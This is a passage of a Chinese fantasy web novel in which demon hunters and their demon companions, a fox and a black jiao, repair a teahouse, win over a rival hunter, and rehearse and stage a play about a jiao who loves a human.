事发突然,纪映阳不知是要先心疼自己摔肿了的屁股,还是要先心疼遭受无妄之灾的新桌子。
他忍痛抬头,发现原本被定身咒定住的玄隐此时已经挣脱了束缚,尾巴在地上砸了一个大洞——正是纪映阳刚刚站着的地方。若不是冉青云这一脚踢得及时,现在他就变成一滩肉泥了。
纪映阳惊讶道:“他……他竟这么快就能解开师姐的定身咒……”
冉青云持剑而立,戒备地死死盯着玄隐。
玄隐双眼猩红,目光涣散,妖气与杀意似洪水决堤一般源源不断地外泄。
玄隐低头,由上而下地看向冉青云,大山一般的威压扑面而来。
冉青云额头淌下一滴冷汗,正想掐诀,却见玄隐原本涣散的目光突然聚焦了一些,他迷瞪着眼,似乎是在努力地辨认面前的人是谁。
下一秒,他闭上了眼睛,头一低,搭在冉青云肩上睡着了。
这上百斤重的大脑袋直接把冉青云砰的一声压倒了,激得地上尘土飞扬。
冉青云只觉得自己好似当众表演了一场胸口碎大石,被压得差点儿喘不过气,而身上这颗巨大的黑蛟脑袋还在打着呼噜,看上去睡得可香了。
冉青云:……
挺好,倒头就睡。
巨蛟的体型,婴儿的睡眠。
巨婴啊这是。
15. 第十五回
大堂的动静实在太大,就连住在二楼走廊尽头的白灿灿和刘掌柜也被吵醒了。
她俩匆匆忙忙赶下楼时,看见的就是这么一个场景——
巨型的黑蛟盘踞在大堂角落里呼呼大睡,而一名身着黑衣的陌生男子却正被五花大绑在一把靠背雕花椅上。
白灿灿惊讶道:“这、这是怎么回事?”
冉青云指了指黑衣男,言简意赅地解释:“半夜闯进来的。”
又指了指玄隐:“突然发大疯的。”
纪映阳撸起袖子,很谨慎地对黑衣男进行搜身,搜出了两把锋利的匕首,还有一些诸如石灰粉、古铜钱等的除妖用品。
既然他带了匕首却不用,只使出了三清铃,说明他确实并无伤人之意,纯粹是来捉妖的。
冉青云捡起那人被纪映阳打落在地的三清铃,仔细端详。
三清铃制作时需要由制作者一边注入法力,一边亲手刻制而成,因此每一个三清铃的符咒经文与法力流转都是独一无二的。
而这个三清铃表面已出现少量的铜绿,握柄处也有些磨损,看上去似乎年代久远。
而它铜钟上所刻的密密麻麻的符咒和经文,冉青云看那走笔和字迹都很眼熟。
那男子刚醒过来,就发现自己被绑成即将上锅的大闸蟹,使劲挣扎了一番,无果。
在绑他的绳索上,冉青云施加了两重束缚诀,哪怕是凌萧真人在此,都没法立即挣开。
那男子已见识过冉青云的桃木剑与纪映阳的黄铜师刀,自然明白他们二人也是捉妖师,当即喝道:“你们究竟是什么人?为何要与妖祟同流合污!”
冉青云晃了晃手里的三清铃,掀起眼帘,不答反问::“我没认错的话,这三清铃是辛夷真人做的吧。辛夷真人是你什么人?”
突然听见辛夷真人的名号,那人一愣,回想起他俩的剑法与刀法,怔怔地问:“莫、莫非你们是玉清山庄的人……?”
这世上自然没有对着入侵者先自报家门的做法,冉青云冷冷地看着他,默不作声。
他回过神来,如实答道:“辛夷老祖是、是我师傅的师傅的师傅。”
凌萧真人是辛夷真人的亲师姐,冉青云是凌霄真人的亲传弟子,这么算来,这人可以说是冉青云的师侄孙。
冉青云失笑:“巧了,按辈分,你还得喊我一声姑奶奶。”
那人瞪大了眼,怔怔地说:“你、你是……”
冉青云替他补足下半句话:“我是凌霄真人的亲传弟子,冉青云。”
说罢,她亮出自己桃木剑上的符咒和经文,这桃木剑是凌霄真人亲自打磨篆刻,赠与冉青云的。
纪映阳笑嘻嘻地插嘴:“我是凌霄真人的关门弟子,纪映阳。”同样将黄铜师刀上的符咒和经文亮明。
凌霄真人亲笔提写的捉妖手册,已翻印了上千册,是每个捉妖师入门必读教材,捉妖师就没有不认得她笔迹的。
那人当即认出这桃木剑与师公刀都是出自凌霄真人之手。
捉妖师最讲究师门传承,大多数人都十分看重长幼尊卑。
那男子下意识地就想伸手作揖行礼,却发现自己动弹不得,还被绑得严严实实,只好低下头,恭敬地说:“失敬失敬。晚辈名叫吴小山,在此见过师姑奶奶和师姑爷爷。”
这称呼被正正经经地说出来,倒是有几分滑稽。
吴小山看了一眼正在呼呼大睡的黑蛟,不解地问:“只是晚辈不明白,明明你们师出玉清山庄,为何不降妖除魔,反而却护着妖怪?”
冉青云摇摇头,不紧不慢地说:“看来你师尊只教了你如何除妖,却没教你为何要除妖。”
“除妖是为了行侠仗义,但若那妖怪什么坏事也没做,你却不由分说将他杀害,那你匡扶的是哪门子的正义呢?”
吴小山愣住了。
他自小苦学捉妖技艺,活到如今二十有五,一贯都是见妖就杀,早已成了习惯,何须去思考这妖怪做过什么坏事?
这就好似,若有蚊子在耳边嗡嗡乱飞便一掌拍死,若有硕鼠闯入自家厨房便乱棍打死,难道还需要先证实那蚊子已经吸过了人的血,或是先证实那硕鼠已经偷吃了米缸中的米,才可以杀死它们吗?
可听冉青云这么一说,吴小山却觉得自己从前好似真的做错了。
冉青云见他一脸凝重,叹了口气,帮他松了绑,问道:“你是听了谁的消息,才来这儿捉妖的?”
吴小山从沉思中回过神,答道:“香梅茶楼有大妖怪的事情,天虞城都传遍了。捉妖会馆里就数我法力最强,他们就派我来了。”
“捉妖会馆?”
吴小山点点头:“算是一个民间捉妖师集会的地方,供大家交流经验情报。你们是凌霄真人的亲传弟子,若你们想加入,只需要说一声,捉妖会馆肯定大力欢迎!”
冉青云摇摇头:“加入倒不必了。”
她顿了顿,说:“但我希望能请你帮一个忙。”
“你帮我把消息传出去,就说——玉清山庄凌霄真人的两位亲传徒弟入住天虞城。”
“从此以后,天虞城里的坏妖怪我们来捉,好妖怪我们护着,不许其他捉妖师对天虞城里的妖族出手,明白了么?”
这可是师姑奶奶的吩咐,吴小山立即点头如捣蒜。
冉青云瞥了一眼呼呼大睡的玄隐,晃了晃手里的三清铃,对吴小山说:“你的三清铃能借我两日么?”
玄隐就是听了这三清铃的铃声才失了神志,冉青云想搞清楚这三清铃有何玄机。
可这三清铃可是吴小山师传的法器,他为难道:“啊……这个……”
见状,冉青云直接接下桃木剑,递给他,说:“我把桃木剑押给你,可以吗?”
吴小山连连摆手:“不用了不用了,三清铃您拿着就好,我过两日来取。”
桃木剑这么贵重,若是在他手上磕了碰了,那十个他也赔不起呀。
更何况,既然冉青云愿意主动把桃木剑押给他,想来也不会私吞那三清铃,借了就借了吧。
他作揖告辞,正要走,一旁围观的白灿灿给他递了一张手帕,温声道:“不嫌弃的话,你擦一擦吧。”
吴小山此时嘴角沁血,灰头土脸,狼狈得很,走在街上确实不太雅观。
这一晚上,吴小山先是差点儿被冉青云捅了个对穿,接着被纪映阳一刀打飞祖传法器,刚想跑路又被蛟妖一吼震晕过去,醒过来时已被五花大绑拷问了一番,现在是浑身哪哪儿都疼,末了居然被人如此友善相待,还是这么一位沉鱼落雁、闭月羞花的女子。
吴小山脸红了,接过手帕,磕磕巴巴地道谢:“谢、谢谢姑娘。我、我回去后将手帕洗净,明日还你。”
纪映阳靠着门柱,双手抱胸,一脸看戏地说:“脸红什么呀你,这姑娘可就是你今晚想杀
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的那只小狐妖。”
吴小山大惊,迅速抽回接过手帕的手!
白灿灿苦笑了一声,说道:“帕子你不用还了,不值什么钱。”
吴小山似乎是意识到自己刚刚抽手的举动太唐突太冒昧,对这样一位释放善意的姑娘而言过于失礼了,他脸上红一阵白一阵,吞吞吐吐道:“不、不是,我……”
纪映阳阴阳怪气地说:“不是什么不是呀。你快走吧,再磨叽下去,把街坊邻居都吵醒了,他们又以为我们在做什么偷鸡摸狗的坏事可怎么办?”
吴小山这才拜了别,魂不守舍地走了。
他前脚刚走,玄隐后脚就悠悠转醒。
玄隐迷瞪着眼,一脸刚睡醒的傻样,迷迷糊糊地问:“欸,我怎么躺在这儿睡着了?”
冉青云扶起他,他就势变回手指粗细的小黑蛟,在冉青云手心里盘成一圈。
冉青云问道:“你还记得你睡着前发生了什么吗?”
玄隐拧眉想了一会儿,说:“我……我只记得有个人闯进来,突然开始摇铃铛,然后,我就睡着了……”
冉青云和纪映阳对视一眼,看来玄隐并没有失了神志后的那段记忆。
他俩把事情的经过简单讲了一遍。
玄隐一听自己差点儿生吞纪映阳,又差点儿伤害冉青云,一阵后怕,吓得盘到冉青云手腕上,首尾相接地打了个结,带着哭腔说:“我错了!但我不是故意的呀!我什么都不知道啊啊啊!你不会要把我丢了吧呜呜呜……”
冉青云用食指摸摸他的头,安慰道:“当然不会,只是我们得找找你失控的原因。”
现在看来,罪魁祸首就是这个三清铃。
冉青云对玄隐和白灿灿说:“我现在催动三清铃,你们看看自己有没有什么异样,如果太难受了就说一声,我立马停下来。”
玄隐和白灿灿都点头说了声好。
冉青云儿时也受过辛夷真人的教导,自然知道如何催动三清铃。
她一边掐诀念咒,一边有节奏地摇晃起三清铃。
玄隐和白灿灿严阵以待,拧紧了眉头。
叮铃——
叮铃——
三清铃的铃声在深夜的寂静中更显得空远,在大堂中久久回荡。
可除了玄隐和白灿灿眉头越拧越紧之外,无事发生。
冉青云听下三清铃,问道:“有什么异样吗?”
白灿灿回答:“就是有点晕,其他的还好。”
玄隐更详细地解释:“就像当时你从霍家村赶到南淮城,我盘在你手腕上,又晕又想吐。”
照理说,冉青云法力比吴小山高多了,她催动三清铃的作用应该比吴小山威力大的多。
可这么看来,单纯催动三清铃并不会使玄隐失控。
白灿灿分析道:“或许是和我当时看见店小二伤害娘亲的时候一样,觉得受到了威胁,所以才失控化形,失去理智。”
这倒也有几分道理。
但冉青云总觉得事情没这么简单。
她收好三清铃,对玄隐叮嘱道:“你最近哪儿都别乱跑,就乖乖待在我身边明知道了吗?”
这不仅是想保护玄隐,更是为了防止玄隐失控伤人。
玄隐乖巧地点点头,却觉得这番叮嘱实在是多此一举——
自从在霍家村后山遇到了冉青云,他明明一直都是寸步不离地跟在她身边呀。
16. 第十六回
经过昨夜那一通闹腾,好不容易快收拾完的大堂重回废墟。
大家伙儿只好第二天一大早就起来打扫战场。
纪映阳一边铺地砖,一边嘟嘟囔囔:“昨天就不该放那吴小山走,得让他留在这儿,把砖都铺了、墙都刷了才能走!”
冉青云则手拿榔头,对着缺胳膊少腿的雕花桌椅叮铃哐啷一顿敲,粗暴地组装着散架了的桌椅,嘴里说道:“他愿意走就说明他人挺不错了,总好过死脑筋地硬要留在这儿不死不休。”
白灿灿蹲在纪映阳旁边,帮他搅和粘合用的糯米灰浆,帮腔道:“我也觉得他人还可以。虽然他讨厌妖族,但至少他听得下劝,青云随便讲了两句,他就收手不捉妖了。”
一听这话,纪映阳不乐意了,瞪着眼说:“你还给他说好话呢?你忘了他昨晚就是想杀你才来的么?”
白灿灿呛声回去:“想杀我又怎么了?你之前不也想杀我吗?差一点点你刀就直接砍我头上了!”
这话直接把纪映阳的嘴巴堵上了。他撇了撇嘴,哼了一声,专心铺砖去了。
出门买菜的刘掌柜正好回来了,后头还领着一个人,居然正是吴小山。
刘掌柜说:“我刚回来,就看见他一直在茶楼门口晃悠,却不敢进来。我索性就把他带过来了。”
吴小山跟在刘掌柜身后,右手拿着一个小木盒,左手拎着一个油布包,扭扭捏捏地对着白灿灿说:“姑娘,那手帕我昨晚洗干净,放火上烤干了,今天拿过来还您。还、还有,我昨天实在失礼,心里过意不去,所以买了些吃食来向您道歉。”
纪映阳脸上还抹着灰浆,却不自知,叉着腰站起来,板着脸,气势十足地说:“你昨天来拆茶楼时可不是这态度!谁知道你带来的吃食有没有下毒?”
吴小山闻言,手忙脚乱地打开油包布,亮出里面滋滋冒油的烤鹌鹑来,解释说:“没毒没毒,就是我刚刚在街口买的烤鹌鹑,还热乎着呢!”
他弱弱地说:“要是不放心,吃之前拿银针试试毒也行。”
纪映阳无情拒绝:“你走吧,吃食我们是不会收的。”
而白灿灿却欣然接受。
试问那一只小狐狸能拒绝香喷喷的烤鹌鹑呢!
白灿灿接过装着烤鹌鹑的油布包,却没收那装着手帕巾的小木盒,说:“吃食我就收下了。帕子你拿回去吧,我昨日已经说了不用还了。”
白灿灿还记着吴小山猛然抽回手的嫌弃样子,既然自己昨天已说了不要这帕子,今日又改口收回,岂不是打自己的脸么?
谁知那吴小山却满脸通红,结结巴巴地说:“这、这怎么能行?帕子可是女孩子家的贴身物件,就这么送给我……”
白灿灿两手已经拿上烤鹌鹑,准备左右开弓地大吃一顿了,闻言疑惑地“啊”了一声,大大咧咧地说:“不是什么贴身物件,帕子我多得很,你拿走就是了,不用介意。”
吴小山却连听都没听清,拿着手帕巾,红着脸,一脸魂不守舍,飘飘然地走了。
纪映阳受不了吴小山那一脸春心萌动的蠢样了,压低声音在冉青云耳边咆哮:“我真受不了这人了!昨天还杀意十足,瞧见咱们灿灿好看,今天就变成这个鬼样子了!定是起了歹心!”
冉青云白了他一眼:“那关你啥事?你急什么?”
纪映阳怒不可遏:“话怎么能这么说,我们可是一个团队!我关心关心灿灿怎么了?”
冉青云反问:“你看不惯吴小山送白灿灿吃食,自己怎么不送?”
纪映阳咬牙切齿:“送!谁说我不送?我这就出去买吃的去,谁还没几个钱了?真是可笑。”
说罢,他转头就往外冲。
冉青云本想提醒他擦擦脸上的灰浆,话还没说出口,纪映阳人都已经没影了。
纪映阳出门买吃食,白灿灿忙着吃鹌鹑,冉青云索性去厨房帮刘掌柜打下手,其他的活儿,等吃完午膳再干好了。
午膳时间。
纪映阳拎着大包小包的吃食零嘴回了茶楼,可刘掌柜午饭已经做好了,他只好不情不愿地把吃食零嘴先放到一旁。
几人围坐在冉青云刚修好的雕花圆桌旁,热热闹闹的。
冉青云边吃边说:“都说万事开头难,我们开头的难关都闯得差不多了,之后的一切一定都顺顺利利的。”
“有庞老作保,官府和街坊邻居都不会找我们麻烦。有吴小山帮我们和周边的捉妖师讲清楚,捉妖师们也不会来为难我们。”
她总结道:“至少接下来我们可以安安心心地在这儿住下了。”
昨日对白灿灿来说,确实是多灾多难、心惊肉跳的一天,但今日听冉青云这么一说,心里也有种拨开乌云见晴天的感觉——那么兵荒马乱的一天都熬过来了,之后定会越来越好!
纪映阳也十分捧场,鼓掌说道:“没错!接下来就要按师姐的计划开始开戏院!赚大钱!”
说到戏院,冉青云说:“第一批显影石我已经制作好了。话本我也已经想好了。”
纪映阳从不知道自家师姐还有撰文特长,惊讶道:“你居然会写话本?!”
冉青云解释:“话本并不是我写的,我只是稍微改编了一下,我打算把这戏取名为‘黑蛟传’。”
听到“黑蛟”二字,本来趴在冉青云碗边,拿小爪子捧着一块鸡翅专心啃的玄隐抬起头,好奇地看向冉青云。
但冉青云并没有继续说剧情,而是先分配起演员来:“我给这戏定了四个角色。”
冉青云竖起一根手指头:“首先是黑蛟,这自然是由玄隐本色出演。”
玄隐挥舞起小爪子,表示自己干劲十足。
冉青云又竖起两根手指头:“还需要两位女演员,正好有我和灿灿,两个角色的关系是一对母女。”
白灿灿说:“那我还是演女儿吧,我当女儿当习惯了。”
冉青云点点头:“我也是这么打算的,灿灿还可以变幻身形,从女儿幼时一直演到长大。”
接着,冉青云竖起第四根手指头:“最后是一位反派道士,可以让纪映阳来演。”
“啊……?我演反派呀?”纪映阳不太乐意,“我长得如此阳光开朗,能演好反派吗?”
冉青云笑道:“拿出你上午那小肚鸡肠的模样来演就行了,有过之而无不及。”
纪映阳的抗议遭到语言暴力镇压,他撇了撇嘴,接受了必须演反派的现实。
“不过……”冉青云话锋一转,说道,“不过我们还需要再找一位演黑蛟人类形态的男演员。实在找不到的话,也可以让白灿
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灿化形,一人分饰两角。”
白灿灿想了想,说:“可以是可以,但我没法在很短时间内反复化形,耗费太多妖力了。如果这两个角色的戏份离得不近就没问题。”
纪映阳皱着眉头,说:“另找他人肯定是不好找的,戏班子都是一齐出演,鲜少有只雇一个人的情况。”
众人正讨论着,玄隐弱弱地举起爪子,插嘴说:“我、我其实可以化人形的……”
啊?!
冉青云震惊道:“那你怎么这一路都不说?”
玄隐两只小爪子缠在一起,有些不好意思地说:“我以为……你比较喜欢蛇的样子。”
而且,若是化成人形,还怎么和冉青云寸步不离地贴贴?
纪映阳好奇道:“你是和九尾狐一样,可以随意变幻长相吗?”
玄隐摇摇头:“不是的,我只是修炼出了人形罢了,只有一个长相。”
除开九尾狐这类本身就能画皮的妖怪不说,能修炼出人形的妖怪是少之又少,更别提玄隐才五百多岁,在蛟妖里不过只是个刚成年不久的小妖。
难怪他妖力如此之强,竟是已到了可以化作人形的地步。
玄隐跳下圆桌,当场给大家表演一个化形。
他身子一抖,一阵青烟凭空冒出,烟散后,原地出现了一个清癯俊秀的美少年。
只见他剑眉凤目,鼻正唇薄,面如凝脂,眼如点漆,乌黑长发如墨如瀑,风姿特秀,甚是俊美,即使说是倾世之貌也不为过。
更重要的是,他就这么不着寸缕却又光明磊落地站着。
纪映阳蹭的一下站起来,脱下外袍将玄隐一把裹住,嘴里嚷道:“你变了人却变不出衣服要提早说啊!姑娘们看着呢!”
玄隐被裹在宽大的外袍里,只有一双无辜的大眼睛露在外面。他眨巴眨巴眼,疑惑道:“可我这一路过来一直都没穿人类的衣服呀,大家也没说什么……”
纪映阳无奈扶额,实在是很难和一只把蛟皮当衣服的小黑蛟解释衣服和皮肤的区别,他只好下了死命令:“反正不管怎么样,只要你化了人形,千万记住要穿衣服!”
将玄隐人形看光了的冉青云后知后觉地害羞起来。
毕竟之前好几晚都和玄隐同床共枕,谁知道他能化人形,还是如此倾国倾城的美人!
清醒一点!
他只是一只什么都不懂的小蛟蛇!
他不过是一个五百多岁的孩子啊!
冉青云揉了揉发烫的脸颊,故作镇定地说回正题:“咳咳,接下来我把黑蛟传的剧情大致讲一讲——”
“有一只修炼千年的黑蛟,为了报答前世的救命恩人,化作了人形,接近那救命恩人的转世,与她相识相恋,最终修成了正果。”
“婚后,有一道士识出黑蛟的真实身份,利用雄黄酒害他现出真身,污蔑他伤害了百姓,将其镇压在降妖塔下。”
“黑蛟与救命恩人所生的女儿勤学苦读,最终中举,成为当朝第一位女官,来到塔前救出父亲,一家团聚。”
听完,玄隐的世界观崩塌了:“这这这……人和妖居然也能相恋么?!”
瞧他这没见识的样子,果真是只什么都不懂的小蛟蛇,冉青云暗暗发笑,说:“这有什么?还有人鬼情未了呢。”
17. 第十七回
自从知道人族与妖族竟然可以相恋,玄隐一整顿午饭都吃得魂不守舍、心神恍惚。
吃过午膳,几人将翻修大堂的工作收了尾,关上大门,开始了第一次排练。
大家将半间大堂收拾出来,桌椅全都挪到另一旁,冉青云又将一大块黑布挂上房梁,充当幕布,就这么搭建起一个简陋的舞台来。
纪映阳身形和化为人形的玄隐相似,索性找了几件衣服直接送给他,教了他好一会儿如何穿人类的衣物。
穿戴整齐的玄隐来到大堂,听导演兼女主演冉青云说完戏。
黑蛟传的第一幕,是黑蛟化成的翩翩公子与转世后的救命恩人在天虞城相遇,一见钟情。
玄隐面红耳赤:“一、一见钟情?这要怎么演?”
他才刚刚得知人族妖族也可相恋,就面临对他而言如此刺激的考验,脑子嗡的一下炸开,脸颊发烫。
纪映阳鼓励道:“我看你现在这个羞涩忸怩的样子就演的不错!很有天分嘛!”
这一幕没有什么台词,冉青云与玄隐互表心意、执手相看,白灿灿在台外唱着“有缘千里来相会”的背景曲儿,纪映阳提议他来吹笛子配乐,被全票反对。
玄隐明明之前天天缠在冉青云手腕上,这会儿化作人形,牵住冉青云的手,却觉得哪哪儿都不自在。
他这辈子第一次牵妙龄女子的手,竟然还是一位人族女子。
冉青云的手骨节分明,掌心温热,手指根部长着练武时留下的硬茧。
这并不是一双如柔荑般的纤纤玉手,相反,这是一双充满力量的手。
但玄隐不知怎么从这双修长有力的手里硬是感觉出了绵绵情意,害羞得两颊通红,讷讷地讲不清楚台词,眼神躲躲闪闪,不敢直视冉青云的眼睛。
这导致彩排时间一拖再拖,两人牵了半天的手,玄隐心头愈加震动起来,心慌意乱的。
不知怎的,玄隐又回想起之前在霍家村冉青云用手拿着他的蛟蜕的场景,明明娘亲说过,蛟妖的蛟蜕只能让心上人碰……
可人类又不知道他们蛟妖的习俗,他也不好意思开口说,这不能怪冉青云,玄隐只能在心里越想越羞。
与之相反的,冉青云却在这一遍又一遍的排练中,对玄隐那过分优秀突出的长相脱敏了。
午膳时,冉青云第一次见到玄隐化作人形的样子,还被狠狠震撼了一把,现在完全看习惯了,心里只在想他怎的这么简单的戏都演不好,不由得担忧起到时演出的效果。
至于牵手这点儿小事,冉青云更是没放在心上,上辈子小学放学都得和男同桌牵手排放学队呢,牵个手有什么好害羞的?
她只以为玄隐是因为没演过戏所以才如此不熟练,只好耐心地一次又一次讲戏、排戏。
玄隐脸红心跳、心乱如麻,冉青云面不改色、全神贯注。
忙活了一个下午,总算是演完了第一幕。
排练结束,冉青云拍了拍玄隐的肩,轻声说:“你随我来,我有些话要和你说。”
有什么话是需要避开其他人说的?
玄隐的小心脏七上八下砰砰直跳,脸颊直发烫。
他忐忑地跟着冉青云回到房间,却听冉青云凝重地说:“我是想和你谈谈昨晚你失控的事情。”
从昨晚到今天,冉青云研究了好几回吴小山三清铃,根本没有发现任何异样之处。
她打算明天就把三清铃还给吴小山,或许问题根本就不出在这三清铃上面。
至于玄隐当时失控的原因,只能暂时归结于玄隐受了惊,在极度恐惧之下晕了过去,才会失去意识,陷入狂躁。
冉青云说:“你失控起来是在是太危险了,但现在也找不到失控的原因,只能猜测是因为你受了惊吓才会晕过去,我们得想想怎么避免失控再次发生。”
别的先不提,玄隐的胆子实在是太小了,遇事只知道发抖、逃跑或者发着抖逃跑,也不知他是如何一只妖独自在外生活那么久的。
冉青云决心好好改一改玄隐胆子小的这个缺点,她说道:“如果你之后遇到了危险,可以尝试着鼓起勇气还手,打不过再跑。若是实在不敢还手,你直接现出原形,龇牙咧嘴地恐吓对方,把人吓跑。”
玄隐听话地点点头。
冉青云不放心,命令道:“你练习一下,现在摆个吓人的表情来看看。”
玄隐最常用的表情就是睁着一双水灵灵的大眼睛,一脸无辜的样子。这会儿突然让他摆个吓人的表情,他一时也不知道怎么摆,顿时嘴不是嘴,眼不是眼的,面部肌肉都要抽筋了。
冉青云亲自示范,黑眸微眯,眉头紧锁,神色阴戾,眼里闪着寒光,凶相毕现。
玄隐没见过冉青云这种表情,吓得一激灵,后背发凉,什么甜蜜的少男心事都瞬间飞灰湮灭了。
冉青云揉揉脸,又恢复到原来的样子,催促道:“看清楚了么?你快学一学。”
玄隐模仿着她方才的样子,挤眉弄眼,瞪得眼珠子生疼,学了好几回,才勉强过关。
晚膳时,纪映阳将自己上午买的吃食加了热,摆了满满一桌,全是烤鸡烤鸭烧鹅,得意洋洋地向白灿灿邀功:“如何?这比那吴小山买的小鹌鹑丰盛多了吧?”
白灿灿不理解纪映阳这莫名其妙的攀比心和胜负欲从何而来,但还是捧场道:“哇,好棒好棒。”就是语气有些生硬。
但纪映阳很好哄,立马心满意足,美滋滋地开始啃鸡腿。
刘掌柜吃着吃着,突然提议:“一共只有四间房间,要不然我和灿灿住一个屋吧,这样青云和玄隐就可以分开住了。”
玄隐如今化为人形,大家后知后觉地意识到他再怎么说也是位成年妖族男子,总不能让他继续和冉青云挤一个屋睡吧。
纪映阳歪了歪头:“让玄隐和我一个房间不就好了?反正他化作小黑蛟也不占位置。姑娘家的还是有自己单独的房间更方便吧。”
冉青云:“倒也不是不行。但你可要注意注意你那睡相,别翻来覆去地一
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不小心把玄隐压坏了。”
玄隐却不乐意,哇的一声嚎了起来:“为什么啊?!我做错什么了吗?为什么要把我赶去纪映阳房间?”
说着,他化身回小黑蛟,嗖一下缠到冉青云的胳膊上,怎么扯也不愿下来。
他那位猫妖朋友就天天和主人睡一个屋,凭什么他却不行?
若是被那猫妖朋友知道他被主人扫地出门,肯定得被笑话个三天三夜的!
纪映阳耐心解释:“这不是男女授受不亲吗?”
玄隐可不接受这解释,他没现出人形之前也天天和青云腻在一起,那时候怎么就不说男女授受不亲了?
早知道就不变人形给他们看了!
他憋着一股气,将冉青云的胳膊越缠越紧,嘟嘟囔囔地说:“我不管!反正你不能赶我走!”
冉青云叹了口气,无奈道:“算了,要不就维持现状好了。反正睡觉时他又不化人形,就只是一只小黑蛟罢了。”
直到睡前,玄隐心里还不舒坦。
男女授受不亲?
玄隐自认是冉青云的爱宠,宠物和主人有什么好授受不亲的?就该亲上加亲才对!
他想得坦坦荡荡,可入了睡,却不知为何做起怪梦来。
他觉得自己好似提着灯笼站在黑暗的房间里,灯笼的火烛烧得他燥热不已,可想放下灯笼又不知该把它挂到何处,只好这么不上不下地拿着。
额头的汗珠从脸颊滚落,又流进衣服的领子里,浑身黏黏腻腻的。
他听见有人在唤自己的姓名,可在房间里一圈又一圈地彳亍,却始终找不到人影,只感觉身体越来越热,心中越来越烦躁。
过了一会儿,又梦见冉青云牵着他的手,专注地看着他,眼眸像一汪大海。
冉青云的脸渐渐靠近,她的嘴唇丰润红艳,看上去软极了,玄隐想逃却又不愿逃,想躲却又不愿躲。
可冉青云只是凑近,在他耳边说些什么,窃窃私语,热气扑面,听得不甚真切。
他刚想央她再说一回,一扭头冉青云就不见了,耳边的热气没了,原本牵着冉青云的手也空落落的,连带着他的心都冰冷、空烫起来了。
热一阵冷一阵的,他就这么颠颠倒倒地做了一夜怪梦。
天光微亮,玄隐从怪梦中惊醒。
在他身旁,冉青云静静地睡着,呼吸声安稳绵长。晨曦的柔光从窗外倾泻进来,洒在冉青云的脸庞上,为她罩上一层朦胧的白纱。
小黑蛟轻轻晃晃脑袋,甩开脑袋里那些莫名其妙的怪梦,不再去想。
他缓缓滑向熟睡中的冉青云,纤细漂亮的身体攀附上她的颈侧。
玄隐盯着冉青云看了好一会儿,黑曜石般的眼眸里倒映这冉青云平静的睡颜。
最后,他凑近冉青云的脸颊,窝在她颈侧,找了个舒服暖和的地方,盘起尾巴,沉沉地睡着了。
于是,凌晨的清寂无声地涌入这个小小的房间,这个瞬间在静穆的时间长河中定格成永恒。
18. 第十八回
排练了好几天,终于来到了开演的日子,香梅茶楼定在这一天正式开业。
开演前几日,香梅茶楼大门前就已贴出招揽客人的招贴,上面写着“八月九日,精彩大戏,妖族参演,免费观看”。
招贴纸张的大小足足有一人高半米宽,每个字都几乎和脑袋一样大,足以让每个过路人看得清清楚楚。
宣传是做到位了,但当天茶楼里还是冷冷清清。
这也是意料之内,毕竟害怕妖族的人总是占大多数的,冉青云并不气馁。
纪映阳放下身段,主动倚门卖笑,竟还真拉到了几位客人。
客人有是有,却不多。
茶楼里六张圆桌三十支木椅,就零星坐了五个人,看上去萧条得很。
这五位客人之中,有一位是隔壁烧鸭铺的老板。
纪映阳这几日实在是太照顾他家生意,单是烧鸭就买了十来只。因此,老板不得不给几分薄面,进来坐上一坐。
老板心里头还是害怕妖族的,此时见大堂里人丁稀少,这剧都不知道能不能成功开演,心里也犹豫起来,扯住忙忙碌碌跑前跑后的纪映阳,低声说:“纪老板,我店里生意也忙,在这干坐着也不是事儿,要不我先回去看看店成么?等人多了些我再来……”
纪映阳总不能拦着他不让他走,只好敷衍地点点头。
老板得了特赦令,起身正想走,门口突然闯进一大批人。
其中一人正是吴小山。
吴小山介绍道:“这几位都是捉妖会馆里的朋友。听闻凌霄真人的两位徒弟在此开了茶楼,都说一定要来捧捧场子。”
白灿灿端着茶水路过,微笑着和吴小山打了招呼。
吴小山腰间还系着白灿灿送的帕子,见了白灿灿,脸颊浮上薄红,正要开口说话,纪映阳皮笑肉不笑地挡住了他看向白灿灿的视线。
纪映阳咬牙说:“客官里边请呀,我给你找个好位置。”
吴小山还没回答,他身边一个矮胖矮胖的朋友激动地说:“我等仰慕凌霄真人已久。凌霄真人撰写的捉妖手册,我是日夜翻看,倒背如流。如今亲眼见到凌霄真人的徒弟,真是百闻不如一见,当真是风姿绰绰,似有天人之姿啊。”说着,双手在自己衣摆上擦了擦,伸出手想与纪映阳握手。
凌霄真人久居深山,没想到迷弟迷妹这么多。
纪映阳被这么一通乱夸,倒有些不好意思起来,连带着对吴小山也客气了一些,带他们入座。
他们刚刚入座,又有一批身着金边黑袍的人走了进来。
为首的那位瘦瘦高高,右脸有一道可怕的刀疤,面相倒是很和善。他拎着一大袋糕点和一包上好的凤凰单枞茶,作揖说道:“我们是受庞大人吩咐,来给您撑撑场子的。庞大人交代了,不论如何,都要全力支持你们把茶楼好好办下去。这是我们带来的一些薄礼,不成敬意。若有什么需要我们帮忙的,只管开口就是了。”
这么两拨人往大堂一坐,座位便近七八分满了。烧鸭店老板不好再提开溜的事儿,又坐回了位子上。
有些路过的行人见此处人声鼎沸,也壮起胆子进门,权当凑凑热闹。
没过一会儿,竟座无虚席。
表演很快开始。
冉青云提前用木板搭了一个半人高的台子,充当舞台。
幕布拉开,舞台上涌起一阵烟雾。飘渺的烟雾白茫茫一片,盖住了台面。
烟雾散去,台上居然出现了一只黑蛟。
除去见过世面的捉妖人施与驱鬼人,其他看客们嘴里皆发出惊呼,下意识起身想走,但转头一看,不少人都坐得安安稳稳的,倒也重新落落座,紧张却又期待的看着台上。
那黑蛟开口说话唱道:“我小小黑蛟落入险境,幸有恩人搭救。千年过去,我已修炼成妖,妖力无边,便来寻恩人转世,以报救命之恩。”
一眨眼,那黑蛟竟化为人形。只见他身躯凛凛,仪表堂堂,唇红齿白,面容俊美,身着一袭墨黑长袍。
不少观众是第一次现场见到妖怪化形,惊呼出声,更有甚者倒吸一口冷气。
但玄影容貌实在是太过美丽,又毫无攻击性,像一块精心雕琢的温润玉。
有几个小姑娘甚至红了脸。
后勤人员刘掌柜将画着西坊街景象的画报挂上了舞台背景墙。
冉青云踱步登场,一边说:“今日我来到西坊街。瞧一瞧,逛一逛,好不惬意。遇见算命先生算姻缘,说我今日桃花开,将会遇见有缘人。可笑可笑,我自是不信,哪有事情如此巧,就当那先生骗银子。”
说着她转身要走,却与玄隐迎面撞上。两人视线相接,皆愣住了。
台后,白灿灿唱起了歌:“千年等一回,等一回呀——”
接下来,让青云与玄隐互换了姓名,一同游街。
